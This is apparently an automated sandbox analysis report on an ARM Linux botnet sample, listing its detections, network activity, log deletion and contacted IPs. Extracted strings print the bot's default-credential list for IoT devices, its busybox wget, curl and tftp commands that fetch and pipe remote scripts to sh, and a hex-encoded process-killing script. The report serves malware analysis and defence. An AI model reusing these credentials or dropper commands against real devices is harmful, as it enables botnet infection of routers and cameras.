Linux Analysis Report
la.bot.arm.elf

Overview

General Information

Sample name: la.bot.arm.elf
Analysis ID: 1541452
MD5: 04d838fd99e6010ae162aa3fbf400dd2
SHA1: a0ae915f8b950b50126e6af5aaec522f51e648b5
SHA256: 33a42d08183f963c3124922fc0fa995c66d52d568d7583bc691cca6dc2507f16
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.arm.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.arm.elf ReversingLabs: Detection: 34%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.arm.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm.elf String: /exe/maps|ash|login|wget|curl|tftp|ntpdate/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/fd/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/lib//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.244.13.91 ports 1,5,7,8,9,15987
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:52126 -> 156.244.13.91:15987
Sample listens on a socket
Source: /tmp/la.bot.arm.elf (PID: 5487) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 169.36.16.187
Source: unknown TCP traffic detected without corresponding DNS query: 169.36.16.187
Source: unknown TCP traffic detected without corresponding DNS query: 25.74.59.34
Source: unknown TCP traffic detected without corresponding DNS query: 25.74.59.34
Source: unknown TCP traffic detected without corresponding DNS query: 133.19.190.53
Source: unknown TCP traffic detected without corresponding DNS query: 133.19.190.53
Source: unknown TCP traffic detected without corresponding DNS query: 188.53.153.136
Source: unknown TCP traffic detected without corresponding DNS query: 188.53.153.136
Source: unknown TCP traffic detected without corresponding DNS query: 166.173.241.32
Source: unknown TCP traffic detected without corresponding DNS query: 166.173.241.32
Source: unknown TCP traffic detected without corresponding DNS query: 128.243.68.39
Source: unknown TCP traffic detected without corresponding DNS query: 128.243.68.39
Source: unknown TCP traffic detected without corresponding DNS query: 172.199.76.101
Source: unknown TCP traffic detected without corresponding DNS query: 172.199.76.101
Source: unknown TCP traffic detected without corresponding DNS query: 175.88.102.255
Source: unknown TCP traffic detected without corresponding DNS query: 175.88.102.255
Source: unknown TCP traffic detected without corresponding DNS query: 79.53.114.48
Source: unknown TCP traffic detected without corresponding DNS query: 163.109.82.32
Source: unknown TCP traffic detected without corresponding DNS query: 79.53.114.48
Source: unknown TCP traffic detected without corresponding DNS query: 96.154.78.29
Source: unknown TCP traffic detected without corresponding DNS query: 131.67.22.36
Source: unknown TCP traffic detected without corresponding DNS query: 163.109.82.32
Source: unknown TCP traffic detected without corresponding DNS query: 182.144.68.19
Source: unknown TCP traffic detected without corresponding DNS query: 96.154.78.29
Source: unknown TCP traffic detected without corresponding DNS query: 47.6.226.85
Source: unknown TCP traffic detected without corresponding DNS query: 131.67.22.36
Source: unknown TCP traffic detected without corresponding DNS query: 223.157.6.105
Source: unknown TCP traffic detected without corresponding DNS query: 182.144.68.19
Source: unknown TCP traffic detected without corresponding DNS query: 47.6.226.85
Source: unknown TCP traffic detected without corresponding DNS query: 121.254.237.231
Source: unknown TCP traffic detected without corresponding DNS query: 223.157.6.105
Source: unknown TCP traffic detected without corresponding DNS query: 121.254.237.231
Source: unknown TCP traffic detected without corresponding DNS query: 71.218.32.155
Source: unknown TCP traffic detected without corresponding DNS query: 15.231.214.60
Source: unknown TCP traffic detected without corresponding DNS query: 71.218.32.155
Source: unknown TCP traffic detected without corresponding DNS query: 167.48.63.240
Source: unknown TCP traffic detected without corresponding DNS query: 15.231.214.60
Source: unknown TCP traffic detected without corresponding DNS query: 81.182.66.205
Source: unknown TCP traffic detected without corresponding DNS query: 167.48.63.240
Source: unknown TCP traffic detected without corresponding DNS query: 125.52.75.139
Source: unknown TCP traffic detected without corresponding DNS query: 81.182.66.205
Source: unknown TCP traffic detected without corresponding DNS query: 177.28.42.10
Source: unknown TCP traffic detected without corresponding DNS query: 125.52.75.139
Source: unknown TCP traffic detected without corresponding DNS query: 151.121.119.27
Source: unknown TCP traffic detected without corresponding DNS query: 177.28.42.10
Source: unknown TCP traffic detected without corresponding DNS query: 100.44.190.206
Source: unknown TCP traffic detected without corresponding DNS query: 151.121.119.27
Source: unknown TCP traffic detected without corresponding DNS query: 46.214.53.21
Source: unknown TCP traffic detected without corresponding DNS query: 100.44.190.206
Source: unknown TCP traffic detected without corresponding DNS query: 46.214.53.21
Source: global traffic DNS traffic detected: DNS query: 2joints.libre
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm.elf (PID: 5487) SIGKILL sent: pid: 940, result: successful Jump to behavior
Source: classification engine Classification label: mal68.troj.evad.linELF@0/0@3/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.arm.elf (PID: 5492) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.arm.elf (PID: 5492) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5492) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5492) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5492) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5492) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5492) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5492) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5492) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5492) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5492) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/1/maps Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/806/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/807/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/928/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/135/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/940/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5487) File opened: /proc/275/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.arm.elf (PID: 5492) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm.elf (PID: 5487) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm.elf, 5487.1.00007ffe8e069000.00007ffe8e08a000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm.elf
Source: la.bot.arm.elf, 5487.1.00005609a2015000.00005609a2184000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5487.1.00007ffe8e069000.00007ffe8e08a000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm.elf, 5487.1.00005609a2015000.00005609a2184000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
182.76.114.89
 unknown India
9498 BBIL-APBHARTIAirtelLtdIN false
215.224.153.58
 unknown United States
721 DNIC-ASBLK-00721-00726US false
128.90.145.209
 unknown United States
22363 PHMGMT-AS1US false
50.148.97.146
 unknown United States
7922 COMCAST-7922US false
7.148.201.246
 unknown United States
3356 LEVEL3US false
123.15.48.161
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
40.36.232.161
 unknown United States
4249 LILLY-ASUS false
211.14.115.237
 unknown Japan 9605 DOCOMONTTDOCOMOINCJP false
113.198.136.191
 unknown Korea Republic of
18158 CBNU-AS-KRCHUNGBUKNATIONALUNIVERSITYKR false
147.244.197.30
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
105.65.229.39
 unknown Morocco
36884 MAROCCONNECTMA false
222.66.211.128
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
131.43.64.9
 unknown United States
385 AFCONC-BLOCK1-ASUS false
155.124.24.143
 unknown United States
11003 PANDGUS false
143.51.145.156
 unknown Finland
16086 DNAFI false
199.68.83.14
 unknown United States
125 HI-NET-ASUS false
83.206.83.47
 unknown France
3215 FranceTelecom-OrangeFR false
130.7.5.218
 unknown United States
6908 DATAHOPDatahop-SixDegreesGB false
58.81.189.145
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
153.60.101.120
 unknown United States
14962 NCR-252US false
41.130.49.195
 unknown Egypt
24863 LINKdotNET-ASEG false
180.5.213.175
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
42.230.84.113
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
49.117.237.161
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
3.73.168.71
 unknown United States
16509 AMAZON-02US false
188.92.172.115
 unknown Sweden
49222 CONNEXIONSE false
73.179.45.207
 unknown United States
7922 COMCAST-7922US false
11.25.20.132
 unknown United States
3356 LEVEL3US false
28.28.179.50
 unknown United States
7922 COMCAST-7922US false
156.200.238.134
 unknown Egypt
8452 TE-ASTE-ASEG false
119.147.180.90
 unknown China
58466 CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN false
11.181.169.194
 unknown United States
3356 LEVEL3US false
126.127.69.20
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
51.114.236.180
 unknown United States
2686 ATGS-MMD-ASUS false
56.149.170.248
 unknown United States
2686 ATGS-MMD-ASUS false
37.212.111.194
 unknown Belarus
6697 BELPAK-ASBELPAKBY false
39.1.184.58
 unknown Taiwan; Republic of China (ROC)
18182 SONET-TWSonyNetworkTaiwanLimitedTW false
57.29.214.236
 unknown Belgium
2686 ATGS-MMD-ASUS false
141.141.79.193
 unknown United States
33692 MACALEUS false
33.21.108.173
 unknown United States
2686 ATGS-MMD-ASUS false
219.241.186.24
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
64.161.242.17
 unknown United States
7132 SBIS-ASUS false
24.43.89.180
 unknown United States
20001 TWC-20001-PACWESTUS false
184.158.236.113
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
222.29.245.156
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
205.204.182.232
 unknown United States
10921 KIHNETWORKUS false
32.12.205.151
 unknown United States
2686 ATGS-MMD-ASUS false
47.143.145.208
 unknown United States
5650 FRONTIER-FRTRUS false
20.70.206.247
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
155.212.88.158
 unknown United States
7029 WINDSTREAMUS false
211.133.52.210
 unknown Japan 2510 INFOWEBFUJITSULIMITEDJP false
182.177.107.251
 unknown Pakistan
45595 PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK false
188.18.193.166
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
4.81.153.124
 unknown United States
3356 LEVEL3US false
24.16.15.110
 unknown United States
7922 COMCAST-7922US false
182.58.98.130
 unknown India
17813 MTNL-APMahanagarTelephoneNigamLimitedIN false
31.80.199.242
 unknown United Kingdom
12576 EELtdGB false
70.41.214.179
 unknown United States
7155 VIASAT-SP-BACKBONEUS false
27.243.65.60
 unknown Taiwan; Republic of China (ROC)
9674 FET-TWFarEastToneTelecommunicationCoLtdTW false
64.174.43.14
 unknown United States
7132 SBIS-ASUS false
162.220.120.91
 unknown United States
54536 ADAMSSTATEUS false
90.6.66.229
 unknown France
3215 FranceTelecom-OrangeFR false
190.180.79.153
 unknown Bolivia
25620 COTASLTDABO false
54.106.101.157
 unknown United States
16509 AMAZON-02US false
111.214.123.35
 unknown China
9812 CNNIC-CN-COLNETOrientalCableNetworkCoLtdCN false
176.223.128.227
 unknown Lithuania
62282 RACKRAYUABRakrejusLT false
205.129.56.236
 unknown United States
3356 LEVEL3US false
25.222.44.204
 unknown United Kingdom
7922 COMCAST-7922US false
21.224.113.38
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
42.154.92.84
 unknown Malaysia
9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
137.180.202.51
 unknown United States
11003 PANDGUS false
121.91.151.116
 unknown Australia
9723 ISEEK-AS-APiseekCommunicationsPtyLtdAU false
